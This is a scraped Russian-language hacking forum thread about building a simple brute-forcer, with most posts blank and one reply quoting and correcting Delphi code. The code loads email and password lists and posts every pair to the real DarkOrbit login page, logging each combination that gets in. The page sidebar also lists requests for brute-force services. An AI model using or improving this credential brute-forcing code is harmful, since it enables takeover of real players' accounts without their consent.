|
01.01.2013, 15:46
|
#31
|
|
|
|
Сержант
|
Регистрация: 06.06.2012
Сообщений: 131
Популярность: 102
Сказал(а) спасибо: 141
Поблагодарили 131 раз(а) в 78 сообщениях
|
Re: делаем простенький брутер
|
|
|
09.01.2013, 08:02
|
#32
|
|
|
|
Сержант
|
Регистрация: 10.08.2011
Сообщений: 136
Популярность: 1781
Сказал(а) спасибо: 60
Поблагодарили 246 раз(а) в 145 сообщениях
|
Re: делаем простенький брутер
|
|
|
09.01.2013, 08:54
|
#33
|
|
|
|
Старший сержант
|
Регистрация: 29.07.2011
Сообщений: 197
Популярность: 8989
Сказал(а) спасибо: 45
Поблагодарили 175 раз(а) в 139 сообщениях
|
Re: делаем простенький брутер
|
|
|
05.06.2013, 14:48
|
#34
|
|
|
|
Разведчик
|
Регистрация: 30.05.2013
Сообщений: 7
Популярность: -243
Сказал(а) спасибо: 0
Поблагодарили 27 раз(а) в 19 сообщениях
|
Re: делаем простенький брутер
|
Цитата: |
|
|
|
|
|
|
|
|
emails,pass:tstringlist; // список ников и паролей
j,i:integer; |
|
|
|
|
|
ПРИ СОЗДАНИИ И ЗАКРЫТИИ ФОРМЫ НУЖНО СОЗДАВАТЬ И РАЗРУШАТЬ Email/Pass, иначе трындец будет
|
Цитата: |
|
|
|
|
|
|
|
|
begin
OpenDialog1.InitialDir:=ExtractFilePath(Applicatio n.ExeName);
if OpenDialog1.Execute then
begin
//ЗДЕСЬ НУЖНО ПРОВЕРЯТЬ СУЩЕСТВОВАНИЕ ФАЙЛА
if(fileExists(openDialog1.fileName) then
eMails.LoadFromFile(OpenDialog1.FileName);
end;
end; |
|
|
|
|
|
|
Цитата: |
|
|
|
|
|
|
|
|
var
ssylka,result:string; //думаю тут все
post:tstringlist; //понятно
begin
ssylka:='http://www.darkorbit.ru/?locale=ru&aid=0'; //здесь указываем ссылку на сайт который будем брутить
post:=tstringlist.Create; // создаем лист
for i:=0 to emails.Count-1 do begin // проверяем,формируем
post.Clear;
post.Add('loginForm_default_username='+emails[i]); //сниффером смотрим наши значения авторизации
for j:=0 to pass.Count-1 do begin // проверяем,формируем
post.Add('loginForm_default_password='+pass[j]);
post.Add('loginForm_default_login_submit=Вход');
//ЛЮБОЕ POST/GET ИСПОЛЬЗОВАНИЕ IDHTTP НУЖНО ЗАВОРАЧИВАТЬ В TRY, ИНАЧЕ 404/500 и прочее ***** будет выбивать прогу!!!
try
result:=form5.idhttp1.Post(ssylka,post); //присваиваем пост запрос
except;
result:='error';
end;
if pos('selectInstanceHint',result)<>0 then //если программа спарсит значения 'selectInstanceHint' то мы что то збрутили
//НАФИГА ТУТ PCHAR ?
form1.Memo1.Lines.Add(PChar('Логин:'+Emails.String s[i]+' Пароль:'+Pass.Strings[j])); выводим то что збрутили в memo
end;
end;
end; |
|
|
|
|
|
На первый взгляд заметил несколько грубых косяков.
Афтар, хоть бы сам код свой прочитал, ей-богу...
|
|
|
05.06.2013, 18:43
|
#35
|
|
|
|
Старший сержант
|
Регистрация: 29.07.2011
Сообщений: 197
Популярность: 8989
Сказал(а) спасибо: 45
Поблагодарили 175 раз(а) в 139 сообщениях
|
Re: делаем простенький брутер
|
|
|
Ваши права в разделе
|
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения
HTML код Выкл.
|
|
|
Похожие темы
|
Тема |
Автор |
Раздел |
Ответов |
Последнее сообщение |
[Услуги] Требуется брутер!
|
Jlo}l{Kaa |
Товары/услуги в Сети |
0 |
18.03.2012 10:44 |
[Услуги] Требуется Брутер.
|
Follom |
Lineage 2 |
2 |
21.01.2012 15:33 |
Заявление об ответственности / Список мошенников
Часовой пояс GMT +4, время: 18:53.
|
|